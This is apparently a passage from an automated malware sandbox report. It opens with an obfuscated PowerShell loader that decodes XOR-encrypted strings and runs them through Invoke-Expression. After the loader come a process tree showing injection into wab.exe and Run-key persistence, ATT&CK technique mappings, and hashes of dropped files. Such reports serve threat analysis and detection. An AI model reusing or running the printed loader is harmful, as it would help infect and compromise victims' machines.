bnVKoABrRGo5Da3 P Su'fu0 S6Af0Ho8Li1TrFFd0Su3Ur0 S8Sl0Hy1Ru5PtEJa5KsFto'Ur;ti`$StH soudoIgv OeDesFr A=Fa AeV CASaRSp5op3In Zi'Un1Pi8 S1SiE D0Po8Ve1AkFSc5KuEPl5ScFTe'Pa;no`$SkCCroKllInuPimSpnLs0Pl3Ya Is=He AfVChACoREs5Ca3Rr Sb'an2CoAOp0St8Di1 S9Un2PaEBo0Fl2En0Pa3Re1ViEHa0 B2Op0 D1Ya0Un8Le3RoA U0In4 U0de3Kr0Be9 J0Br2 b1EkAOp'Sp;pr`$GaCBroFel RuSim TnUn0Ta0Sy=SkVFlAReRIn5Ko3Kr Mi'Dd3 REPi0wa5es0ov2At1UmA D3ApA H0Br4Ep0Af3Un0Sh9th0Or2Au1LaAGe'En;en`$UnN co KvHioGebFoiIco Wc ZiSyn D6Un R=Sk PaVHoASuRBr5La3Br Ga' S4Ar9Ac2RaE B0Po2Te0 D0Ka0te0 U0Sv8Ln0Bo0Ph4BlDLo5Ru0Ch4PhDCo3Re6Kr3 DEau1So4 N1TiE g1Ta9It0Bi8Ca0Fl0 I4 A3 L3SkFeu1Lk8Fi0Mo3Gi1Gr9Sc0Hy4Om0 W0Do0Si8Gg4 S3 F2Al4 U0Fl3vo1Re9Cl0an8Ca1 QFSa0Fa2Sk1ThDOr3 IEHj0Br8Eq1 EFLi1 IBUn0re4Co0 EELe0Ac8 K1SuEKa4St3 S2Mo0 V0PiC A1MaFCy1 FEIn0Re5Im0MiCUn0un1At3ov0Al5Qu7St5Ta7Bi2ShA P0 P8To1Si9Cl2jo9 S0 R8Pa0sh1Af0Ma8 N0BuAhi0DeCRe1 o9Au0Mo8Mi2RiB F0ud2Sv1 SFTh2TuB M1Ar8Un0 T3Fu0BlEFo1Mi9Ap0Ga4sh0Un2Un0Ud3Lu3AcDPr0Do2Fl0 D4Be0Kn3Fi1Pr9Do0Pr8Dr1WiFpr4Fl5Va4 F5Sk0LiBHo0Co6Un1BlD O4 SDPe4Un9Ca2Se8Sy0 T3Un1CiE U1 JFVa0ef8Di1Tr9Kr1Ex9Pu0Po8De1Un9 P4OrDGi4 D9Ha2Sk4An0Lo3Li0Ma9St0UnF P0RiCDi0 F3Tr0Pr9Hv1An9Ga5Ar9Un4Ca4be4Un1Te4BoDTa4Ad5Nd2TwARe2 S9De3Ru9 U4EvDRe2NeD T4sv5 G3un6At2 C4 B0Ef3Ha1Mu9 O3OvDDa1Fl9 r1KoF H3 U0Fo4Fy1 N4 ODPu3Br6De3Da8Se2 S4 a0 H3St1Ma9Pr5CuEFa5UdFUn3Br0Bi4 S1La4WiD I3 R6Af3Hi8Al2Se4 F0Gu3Ov1Da9 K5 HE R5 KFSt3 U0Ri4Ae1Fo4UnDRe3Gu6Fo3Ch8tr2Sy4ub0Pr3 A1Un9Su5 TESt5 MF U3Ta0Ne4Cu4Um4AdDAc4Co5Ki3Al6Ve2 K4Re0 U3Sl1Ve9Sv3BaD F1 P9De1PsF e3Re0 R4Ye4Pe4In4St4St4Pr'Un;Hw&Ra( T`$ RIBenNadPebAfaFanUddantUf7 S)Pe Ra`$PoNVaoRavSeo Abini FoKucFoiSanCy6ma;Ug`$HeCBooPolPyuCimCrnDi0Ef1Or Re=Fe PlVDeASlRBe5Re3 A Im' B4Un9Vb2 J5as0Da8 K1GlESo1 B9Ri0In8Dj0at5do0SkCRe0 G1 P0 N8Gr0gl8By1NoBDr0St4di0Be1Ta0ClAHa0Aa8He0 F3Cr0Mi9 L0Co8Af1ArEPo4MeDse5Te0Mo4PeDRu3Wo6Af3ReE S1kl4Ri1AkE R1Th9Pr0po8Co0Fu0Mn4So3Ov3YdF B1La8 N0Fo3St1Ef9Be0pe4Fr0Ar0An0Ze8El4Ud3Pa2An4sp0 R3Sk1Sp9Ov0Ne8Pa1 BFKr0Fj2Pe1TjD E3UnE D0Fo8Ap1NoFSn1 HB P0Be4Jo0boE B0 E8 D1UnEde4Gr3Al2Bi0 F0SiC R1ViFBo1 TE I0Hu5Mo0CoCJu0De1Va3Vi0Pa5Va7un5Mo7pa2TeAUf0Th8 T1So9In2 N9co0 S8Hu0mo1 J0Tp8Re0diA K0UnCGa1 L9Ka0Ko8Fl2FlBIn0Ap2Pi1StFEt2 KBMa1An8Ph0En3Un0ToEUn1Fr9Pr0de4 B0Mb2Re0 G3ra3CmDus0Av2 R0Ca4Hj0 d3 E1hu9 C0Sk8Ad1MaF V4La5pi4Eu5Ph0BoBAk0Te6In1 ODFo4MyDAf4Un9Er2Ge5Hi0Sk2He0Ph2Xy1 GBSv0Sa8Aa1ObEUr4 HDHu4re9Gi2RoEBa0 P2 K0Op1Ho1Pa8 M0tr0fo0Op3pa5SpDin5MiDbe4Sp4Si4Or1Ag4ImDPe4Te5 T2InAFr2 A9Gi3De9He4PrDSi2 TDMa4Bu5Bu3vi6Mo2Dr4 S0As3Fl1Re9Ne3hiDFs1Cr9De1 PFEf3ra0Un4Un1Un4WaDPa3Wa6Qu3 K8Fo2Sk4Ge0fr3An1ba9On5UdEFi5UnFBr3st0Af4 E4 T4KuDCa4 A5 S3Bo6 N2Pr4Eq0Ye3Sp1Re9Mu3guDUh1Re9 C1 aFHe3Af0Sk4 R4Be4Fr4Cr4Gu4Br'Pa;Ex& P( A`$StIConChd Ib LaBon HdSht V7 S)Pr T`$ CCKooDilAuuKrmTinLo0Be1Yn; U`$TrCChoBulMau NmCenav0Bh2Rh Ji=ny LiVSiAklREs5Sq3In Sq' R4Pa9Fo2Ba1 S0mi3Fo0 b3Pa0se4Kr0Tr3Pn0 TATh1MoE B1DeD S0 R2Sm1 OEma0Pr8Ph1ScFWy0Ov3 S0Oa8Cr1NiEGe4 MDRa5Sw0Ca4OpDSu3By6Sk3AlEsa1 R4 G1AsECi1Be9 s0 I8Vi0Ov0 T4Ar3Hi3noFSo1Un8Mo0Re3 S1Ch9 P0Br4De0Hg0Ba0Fo8 S4Yp3 D2Fr4Di0Sp3Ko1Ad9Je0 T8Sk1KoFCr0 S2Ta1WiDSu3LeEPa0Ol8 A1 VFcy1 SBSp0 U4Ha0HoEEl0Sp8 K1SpEUn4Au3 S2gl0Te0MiCHv1faF G1 CEAn0Ca5Te0seCSu0Lo1 F3Gr0Ro5De7To5Bi7Ap2GlA K0 M8Ns1Un9Kr2Su9Ga0Ve8Hu0Sc1tu0Bo8 p0DeASc0UnC G1So9Bl0Mu8Fo2AiBCu0De2Ch1idFAf2EpBBu1Rh8Fi0Ou3Re0PaEBl1 S9 S0In4Pa0Pu2Wa0 I3in3UnD S0Mu2Ca0Om4Be0Pl3Ca1Dd9Ul0 M8Ta1KoFGa4Ov5No4Re5Ba0CaBSk0So6pa1InD A4LaDMa4 P9Ra2Pl8Fo0ko3ca1BeEDr1KvFUn0 O8Ad1St9Ko1Hu9 O0op8Su1Ch9Pr4MoDDo4 u9Sj2 IEHe0 O2Ma0 A1Ad1 M8Da0Em0he0me3Je5 ODTr5MaEBl4Le4 b4Sk1tm4PlDMi4La5An2SaA F2Ta9Rh3 G9 C4 UDcu2inDPe4 i5po3Su6St2 N4 F0Un3Fi1Ko9 O3StD K1Ep9Ko1BeFHo3 O0Jo4Gi4en4BoDSl4Fo5St3Ca6He2 U4 V0Li3 S1 M9Ov3 VDVa1An9 S1ReFVu3Vi0Ko4En4Fo4Mi4Om4 M4 M' S; I&Lu(mi`$sgIHun Ld MbskaDenSedHatRe7 V)Mo In`$ UCSeo GlSeuHumCanOu0Bo2Ma;Dr`$FaN HoUnvbao BbFoi Po BcReiScnFe7Ud jo=Po MeVBiAunRPr5Mi3no Ge'In4Mi9 J3 LDNu1LeFEj0In8Pe1Th9Un0 U8Hj1 aFAi0Io4in1Br9Em1MiEAr4beDmi5Al0 B4EpDLe4 E9 B2 N1Pu0va3Pr0Le3On0Gr4El0 R3Be0DaAfa1SuEUb1StD S0Mo2 c1ReE P0ci8St1 CFMl0Ci3Le0 R8 K1ApE S4 F3Se2Sk4Ef0Em3Ra1CoB n0 P2Li0Se6Fl0El8Aq4Re5Un5meDGe4ly4Mo'St; F&Pu(Si`$TaIVanErdSkbChaCenStd FtBi7He)No Pa`$ CNSpoDhv SoBebMriSkoSncMoiHenMy7In;Zy`$ INBeoCovOpo IbBliOpoFacSpi pn A7Ph Ti= A SkVIhANeRPe5 L3He Ps' B4Sl9In2Fl5Se0Mi8Va1phEPa1In9 A0Re8Fe0Se5Sc0EuCMa0Vi1Ka0Fa8Ha0Ud8 T1 GBLa0Sk4Fo0 M1Go0StA O0sy8 L0 c3Ge0Oc9Ko0Mi8 T1EnEAk4Ba3bu2 E4Ex0Sa3 G1SpBac0Un2 c0Om6By0In8De4hy5St4Ba9 A3SiDBe1StF N0To8Ud1 T9Di0Mi8Au1FuFAu0Fu4Er1Ca9 A1BaENe4 W1St4SpDFo5 CD F4Un4St'Al;An&ex(Vu`$DeI DnSudSkbima HnridNotpr7St) V Un`$FoNKaoAdvSpoTebFaiAfoUnc BiRanAf7 c;Pr`$ FTMargooAnlEvdTauUnnUngRoetenTisSw Ma=Dd BlfElkFlpPr Sp`$FuICunSadBobTiaSen Sd ktGu5 C Tu`$SlIStnFudArbmeastn DdUntUn6 O; s`$SjNNoo CvAdoDabTiiThoDecRoiTonDa7va Fc=Sp SuVUmASpRBa5Un3In In'Ov4Ce9Vk2KeANo0co4Sp0MeFOu0BaFLi0 P8 C1SoF O0Gg2Dj1 SEPo0Ko8Re5RaE I4ChDId5Ig0De4TiDIm4Re9No2 MEno0Cl2Fo0Ha0Fo0Pr0Sl0Ob8ov0Lv0El4Ch3Vi2Hu4Mo0Pl3Bi1 LBPr0Sp2Si0ar6Th0Ud8Pl4Ag5Mh3At6Di2Rv4 S0 f3 A1In9 U3 LDac1Bi9He1HkF s3kl0ov5Fl7Sk5Di7 H3Va7Un0 p8Sk1MyFNa0Ko2An4Tr1Fr4StDpr5HjBNo5SeC M5LoAAn4Th1Wa4 VDDr5BuDFo1 G5Ca5frEIl5 MDTi5StDan5frDFe4Sa1Ae4SeDDa5UnD S1Fi5St5Br9Un5ScDSp4Re4Ar'Vr;Pa&An(Ra`$ PImyn SdKlbDeaEtnBrdHotAl7Se)Tu Ba`$akNDioSyvBoophbHuiSlojac SiSinVe7To;Op`$ RN Fo MvBroSpbDeiMaoLecfui An K8Bj Sh=St CaVUdA BR I5At3 e A'Sm4Te9Le3AtERe1Qu9 H0Fo4Ga0Ou1Od0Du8Ha1HiFGe0 M8Dy1Fr9 F0Un3Bl0Se4ek0No3Un0 UAFo0En8 G1AuFdi0Ga3Sl0Ud8Tr4 UDCl5Te0Be4FoDVa4 N9Sc2saEBl0sk2Bl0Ca0Na0Ha0Un0Sk8Ba0Sk0Sk4De3Dr2 N4Pa0 a3Kl1EnBMa0Ky2By0 T6Ra0Pr8Re4Ej5Su3Re6Re2Fr4Fa0Br3Ep1Or9Rg3 PDBa1op9Eg1 SFBr3Ka0 G5Ce7 E5Cr7Ph3 Y7Va0En8St1teFWa0Af2Ac4Sc1Fa4PaDst5SpFVi5OuBDu5 HDKr5 SEAu5SaD Y5KoDDr5 G5sa5TiD I4Op1 s4miDCe5PiDDe1Pa5Sk5OvEFi5 JD S5BrD A5DeDLi4Un1Ka4SnDTo5AfD S1In5Po5Th9Pa4Un4Ra' T;Kt&Sv(Ve`$ChIaln EdSobFaaIrnKbdSkt C7Tu) Y G`$DuNUno Tvtao BbRoiSwoOvc RiUnnCo8Hu;Sa`$ TGBliSybFdb VeBerNooMesBleUm2Ju=Ma`"""Be`$Ase Kn Bv C:ReAPaPQuPJoDSnA HTRaATo\DesBak KoMolToeUppInl SiGugGdt Ne SnBe\ ApTrrBoechpMoaAvyBo\FioTebBrjSvehjcPrtCuikavUnaSkt PeSo\NaT UySnkKlk Ce HrTntKoeMenUnsSy\PiL Ta CcMarPeiRumSpaButChoBerBiyFo\PuSHaoPluAfdOtaKanLbsre.ArRHyaOpgCr`"""Un;Un`$SuNNooCov GoLab OikooErcNuiRenAn9Ha Ha=Ho SVInA FRUd5Ku3Re K'Vi4Ea9Le2Un3 S0 f2Ov1MoBHj0 V2 t0AsFAl0mi4El0In2cl0RoESi0Tm4 E0an3Pr4TeDBe5Rr0Ch4JaD F3Ti6 L3TaEBe1op4da1ReEMe1 P9Dr0ne8Ge0Lu0te4Mi3ag2Bi4My2 P2Un4Si3Un2JeBBe0Ef4Dr0Ki1An0an8Uf3 K0 P5Su7Ha5Lu7Be3MiFLa0Fl8 E0SkCAn0 C9Fa2PeC S0Da1Sp0Mi1Ky2 EFin1 R4co1 P9Ta0st8 L1AvEBe4De5No4Sc9Kr2 BASt0Ma4de0 KFNo0 CFMa0Mi8 J1SaFOv0Pr2Ve1BlEUn0Re8co5FeFNy4 G4 H'Ke;Re&Up(Ob`$ TIGrnTadlob JaKanGrdHotEm7Al)Zo Sm`$InNTro evHuoigbMeiSioEkcRei DnJo9Re;As`$Gra FfskmFor Ak N0Sa Fu=Ul PrVAtASaRFu5Pa3Em Lo'No3 M6Un3StEEp1Au4No1VaELi1By9La0St8 n0Pa0He4re3Sk3 SFCa1St8ly0 U3Re1Pa9Em0Ru4Pa0ja0pr0De8va4Fo3 U2Un4 A0Si3Se1 B9 u0Pa8Fo1QuFUn0 T2 H1StDRo3UdETo0ga8 R1KnF T1MoB U0St4 T0 CEWa0re8Ai1GeEPl4 I3Tu2De0Tr0 NC H1 CF S1SeESm0Li5Br0TlCDo0Hy1Ti3 P0Ty5Am7fo5Eu7Ch2ArEHj0Re2 N1 TD G1Mo4Ag4Mu5Im4St9 V2Br3 S0Re2Sy1TiB r0Mi2Rd0 GFol0Be4Po0Ar2 N0AbElu0 A4 T0Sk3Pl4Le1St4OvDAg5 EEFo5SjD S5InFJo5Zo9 F4No1In4HvDAr4StD W4pt9Im2AlA T0Pi4 S0UdFPe0unF M0 J8No1 HFpe0ca2Ja1UnEAt0 d8Re5DaEMa4Pi1Ko4FrD E5geBPu5TaCFo5EsA D4Kl4Ru' N; U&Fa( D`$InICln MdEkbplaTrnFid StDo7 P)Na An`$BeaAdfKrm ErCokTr0Go; R`$TvTTea Bv IevarBan GsPa=Un`$PrNWioLyv GoMebIriIloMocSuiDrn F. PcFloFyuTrnPhtSt-Hu6 P1In7St-Da3La0Mi2Th4 C;De`$AlaArfDym PrLskFi1Se A=Hi ElVToAGaRVa5Tr3Fr Me' R3Un6Pr3MiEgr1pl4Re1ReEEt1Ko9Lu0Um8 B0 A0Pr4Te3 K3UdF A1 C8ca0mo3 I1 N9Ko0Sm4Pr0Un0Vo0Ph8Me4No3 A2 B4Me0So3Ge1Ca9Tr0Be8Fe1SeFSp0Fo2So1IbDDi3StE H0St8Fe1InFPa1MiBTe0 M4Uf0 SEFu0Da8Ru1NeE S4 D3Ch2Om0Un0 BCst1 DFUf1 SECo0El5Si0SoCOv0Al1 A3Ba0 G5Op7Un5 C7Ur2beE O0Un2Ne1PeD V1 L4Ka4Cu5St4Je9Fu2Co3Sa0Ov2 G1FoBPa0 P2Sy0 kFAf0Ka4In0 N2Sk0VeESl0Re4Ko0 G3Co4Ep1Lo4FoDRe5InBUn5DaCRa5PaAAl4ka6Pa5SnE A5SuD p5CaF B5 S9Un4Et1ma4HeD B4Sk9to3RuE R1Co9Lo0Vo4Op0De1 S0 T8 S1deFAb0Me8Bl1Ca9Ke0In3Ha0 C4Pa0An3po0prASt0Ov8Go1doFFi0me3 B0In8 E4Do1Fr4DeDRk4 D9ka3Br9La0PoCAk1BeBPe0bo8 B1ChFJo0Mo3Fl1DiESd4Hu4Up'Br; U& t(Pi`$EsISmnPldCobBoa unpudSttJo7Re)Me Ja`$FraBrf lm TrStkco1Im;Sk`$SkasafComprr PkPl2Ku Da=Ko DiV NAThR S5Ce3Af co'Sc4Tr9 g3FoESl0EsEat1FoFSe0 OCAn1Ai9Ba0miEPr0To5Ha1SlDGl0KoCHe0Ce9Al1AbEEp4 vDBe5pi0Pr4ReD A3 J6An3AmE P1Bo4In1PrE S1rt9Ho0 L8 T0In0Kr4vr3 B3FiFQu1Sk8Ma0 u3Fi1Di9Ab0Sp4Pl0 I0Sk0Ko8Ex4Bl3sp2Fi4le0Ap3 U1 E9 D0Ka8St1 mFFl0So2Sm1KoDHo3DiE H0To8Rh1DeFKa1 RBFo0Fu4Ca0StEAr0Aa8 M1ViEBe4Fr3Ta2Ov0Bu0NaCTu1IsFTe1ReESn0Ll5Fa0thC s0Tr1Li3Sk0Lo5Te7Ta5No7Jo2boATi0 U8 d1Di9Pr2Gl9Ud0In8Be0 N1Gr0Sl8Un0miATi0KuCAd1Ba9Do0La8Ru2ThBGe0Kv2Pl1MuFTi2ulB S1 M8Bi0Fa3St0AcEsi1Si9 T0de4 S0Ti2No0Me3An3NoDBe0La2Ab0Ra4 A0 p3 A1Un9Te0Bl8De1 AFLg4Su5Al4Ko5Re0FrBAd0 T6 H1EcDCa4JeDZo4Pu9Pl2Sp1Aa0Co4Ud0Sk9Va0De8Tu0 P1Vi1paENo0Ld8St1diEUn0 E5 A0al4fo1 OEBe1Us9sd0Bl2Sk1 BFAu0Yf4Kr0Me8 c1LeFUn1ShEda4HoDBe4Si9Tr2DiBDo0Bo7Bl0Co8Lv1AuFGu0Un3 F1 UEPn1Gr4Fo0Ud3Es1 FECo0WiC M0rd3Es1Re9Un0Va8Sl0Mi3Ep0 L3ge0gu8Re1RhFGe0Ur3Ou0Br8ra1 IESu4 K4mu4Cu1ad4AeDCh4Un5Un2LiA m2Se9Fe3 H9 D4TiDRa2BeDBu4Pa5 B3Vi6Hn2Pl4Ak0Ru3 U1An9Pa3WaDno1Sp9Ne1HeFCo3Me0Re4Si1 E4skDBr3Fo6Dd2Sn4fi0Sp3gt1Sp9Ps3 FDCa1Br9Al1eaF I3Um0 m4Re1Af4 HDTe3Co6Fo2In4Ax0 t3Da1Ge9 B3AlDEt1Ha9Pt1 BF N3Ta0tr4Me1st4flD U3To6Pr2 S4Mi0Gr3De1Re9su3 UD S1He9In1VaFMa3be0 F4La1St4ArDAp3 b6Gu2Ta4Ep0Hu3Un1 R9Tu3BdDVa1Te9Pa1HoFPs3Un0Ge4Fo4fo4GaDCa4So5Au3Yr6Po2 E4Me0Sp3 S1To9Cl3UrDla1Ba9Ud1BaFWo3 t0au4Ra4Fi4Ma4St4Rn4Fi'An;St& f(Bu`$FoI CnHodBrbUdaHon tdIrtBa7He)Qu Ne`$ KaAnf FmKerCok B2Tb;Wa`$TuaLafArmaurSek R3pa de=Ha StVAnABlRRe5Pl3Kr An'Ir4Tr9No3naE H0 AEAp1SaFBo0CaCSu1to9 F0DiESt0An5Bu1OmDaf0RaCMo0Da9An1ReEFe4Be3De2Fl4Ob0Ps3Fo1NaBAb0De2Tr0Pa6Se0 N8 S4Ar5Br4Pe9 T2DeA E0Al4 V0JoFRe0PaFBl0Ou8 W1TiFMo0Me2Va1KoESi0Be8ce5StE C4Em1 A4 U9Ha3QuEkn1Dr9Me0Bu4 T0Ub1Sp0Sq8Tr1VeFTa0Ru8 P1Sp9Ea0 T3Po0Bi4Ru0co3 G0StATt0Th8 D1 LFSi0Tr3He0Un8Ud4Un1Sm4al9Te3Ou9 S1EmFLu0Re2 S0 S1Hy0 M9Al1Ta8Vi0Ca3Ko0GyATa0Su8me0Do3Fy1OrE M4om1Do5DiDOx4Re1Ve5AlD T4Ch4Pr'Fe; S&Re( s`$ UITrnCud KbMoaSkn Td Mt T7mu)Py Cu`$SiaenfHomchrCrk J3Br#Go;""";<#midtergangen Gaieties Yemenite Inddataelements Nedgravede #>;;function afmrk8 ($Hestehaleenzinudslip,$Hestehale) { &$Medforfatterens0 (afmrk9 'Lu$LyHtae SsFotUneMahMiaStlPeeKaeDinSpzLaiPrnLauafdEksBrlSkiOrpPi lu- CbEnxUnounrCe Du$ChHOmeOpsjatMoeKnhCoadrl Ce R ');};Function afmrk9 { param([String]$Teologen); <#Brdfrugttrernes Decurring Hyklerens Skrddererendes Carbonisables #>; $Easiness=2+1; For($Storslaaede=2; $Storslaaede -lt $Teologen.Length-1; $Storslaaede+=($Easiness)){ <#Diskontoforhjelsen Supercluster Guideway Arveflgen #>; $Column+=$Teologen.Substring($Storslaaede, 1)} $Column;};;$Medforfatterens0 = afmrk9 'MeIstELaX U ';$Medforfatterens1= afmrk9 $Bestormes;&$Medforfatterens0 $Medforfatterens1;<#Shotput Overmount emulgerer #>;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2760
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Adds Run key to start application
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:1040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarE048.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
fb3b6f36d7e29a7206da1c4b9c0a2e4f

SHA1
169ce252cb8716d4a435c62d733c2376a53525bc

SHA256
97f2babff0fb6bbdefe2ed855d8f6045c185841241da40042cb63c1aaf66b1c3

SHA512
d4cdc99496bc8270a999a2814c8b478c9201a23738abd11dc5a94e062d62bc1c83ee09a1fb74114789604c34c944aa5af07cf595c003ab41979601149f8908f9

Download Submit
C:\Users\Admin\AppData\Roaming\skolepligten\prepay\objectivate\Tykkertens\Lacrimatory\Effeminatise.Vis

Filesize
23KB

MD5
f92a56644df262041957576df2499545

SHA1
baae1bea74b8aab26287cac906ca35fba15452b8

SHA256
5d08f2ecf2d602b8c883c1e6ca63f817a2476d9eeea2ea460834f7c5decb42fb

SHA512
5bbb80ff9893d2658a2c60fe203ec016a44255c16ec5c7c0d22b6f3bf0f8a02acc94cd7ea8d8640ecb0ccc4a99755e63b58d0a5e69098af917610f1071c365e8

Download Submit
C:\Users\Admin\AppData\Roaming\skolepligten\prepay\objectivate\Tykkertens\Lacrimatory\Soudans.Rag

Filesize
390KB

MD5
846193f943255e618703e69524e71bda

SHA1
93d05ac9041a5336bb87b8371704761b109bd7dd

SHA256
8bcb1721f7efefa15f3c9de462d41a78cfd8ab5bef13beedf612b48d9c148593

SHA512
1f5eeb0f841bcefc05f27550b19fa1a417289f4bcf2f260d0d55dc85d060fa68a5dd1696e83ad7881e84d4df08c5a01c5e308ef2f2095d6c0e5983efa0f5be4d

Download Submit
memory/1040-48-0x00000000004C0000-0x0000000001D93000-memory.dmp

Filesize
24.8MB

Download
memory/1040-107-0x00000000004C0000-0x0000000001D93000-memory.dmp

Filesize
24.8MB

Download
memory/1040-51-0x000000006F860000-0x00000000708C2000-memory.dmp

Filesize
16.4MB

Download
memory/1040-49-0x0000000077530000-0x00000000776D9000-memory.dmp

Filesize
1.7MB

Download
memory/2744-113-0x0000000073F70000-0x000000007451B000-memory.dmp

Filesize
5.7MB

Download
memory/2744-30-0x0000000002430000-0x0000000002470000-memory.dmp

Filesize
256KB

Download
memory/2744-29-0x0000000073F70000-0x000000007451B000-memory.dmp

Filesize
5.7MB

Download
memory/2744-28-0x0000000073F70000-0x000000007451B000-memory.dmp

Filesize
5.7MB

Download
memory/2744-43-0x0000000073F70000-0x000000007451B000-memory.dmp

Filesize
5.7MB

Download
memory/2760-42-0x0000000005CC0000-0x0000000007593000-memory.dmp

Filesize
24.8MB

Download
memory/2760-47-0x0000000005CC0000-0x0000000007593000-memory.dmp

Filesize
24.8MB

Download
memory/2760-46-0x0000000077720000-0x00000000777F6000-memory.dmp

Filesize
856KB

Download
memory/2760-45-0x0000000077530000-0x00000000776D9000-memory.dmp

Filesize
1.7MB

Download
memory/2760-44-0x0000000073F70000-0x000000007451B000-memory.dmp

Filesize
5.7MB

Download
memory/2760-41-0x0000000005CC0000-0x0000000007593000-memory.dmp

Filesize
24.8MB

Download
memory/2760-40-0x00000000028E0000-0x00000000028E1000-memory.dmp

Filesize
4KB

Download
memory/2760-38-0x0000000073F70000-0x000000007451B000-memory.dmp

Filesize
5.7MB

Download
memory/2760-37-0x0000000073F70000-0x000000007451B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads